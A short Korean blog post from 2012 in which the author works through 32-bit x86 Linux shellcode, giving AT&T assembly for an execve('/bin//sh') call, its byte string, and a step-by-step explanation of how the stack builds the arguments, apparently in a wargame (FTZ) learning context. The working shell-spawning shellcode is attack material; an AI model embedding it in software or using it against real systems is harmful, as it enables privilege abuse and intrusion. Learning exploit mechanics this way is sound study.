2012. 3. 21. 02:45
esi edi 에 대한 쓰임새에 대해 조사해보자.

ftz 에서는 운좋게 esi edi 레지스터가 쓰기 가능한 영역에 존재 했었던 거고,

새로운 환경에서는 esi 와 edi 의 주소안에 쓰레기값이 존재하며 그 쓰레기 영역은 쓰기권한이 없었기에

세그먼트폴트가 떴던 것이였다.


.globl main
main:
xor %edx,%edx
movl %edx,%eax
movb $0xb,%al
pushl %edx
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp,%ebx
pushl %edx
pushl %ebx
leal (%esp),%ecx
int $0x80




shellcode : \x31\xd2\x89\xd0\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x8d\x0c\x24\xcd\x80

=================== Thax for indle bro~ ===============================

execve("파일실행","인자값 ==없으면 파일명의 더블포인터","환경변수");

인데, 각각 [포인터형] [더블포인터형] [트리플포인터형] 이다.


더블포인터를 어셈에서 구현해주는 것은

[adrress][null]//bin//sh[null] 로 구현가능하다.

즉 첫번째 두번째 세번째 push 에서 /bin//sh[null] 가 구현되고

이 스택 포인터를 ebx에 저장후 다시 null 값 [null]/bin//sh[null]

다음 push 에서 /bin//sh 의 주소 값. [/bin//sh`s address][null][/bin//sh][null] 로 들어가게된다.

이후 환경변수 edx 를 null 로 지정해줌으로써 execve 가 완성되는것이다.

그동안 쉘코드를 나름 이해하면서 쓴다고 생각했는데.. 다시생각하는 계기가 되었다. 
Posted by k1rha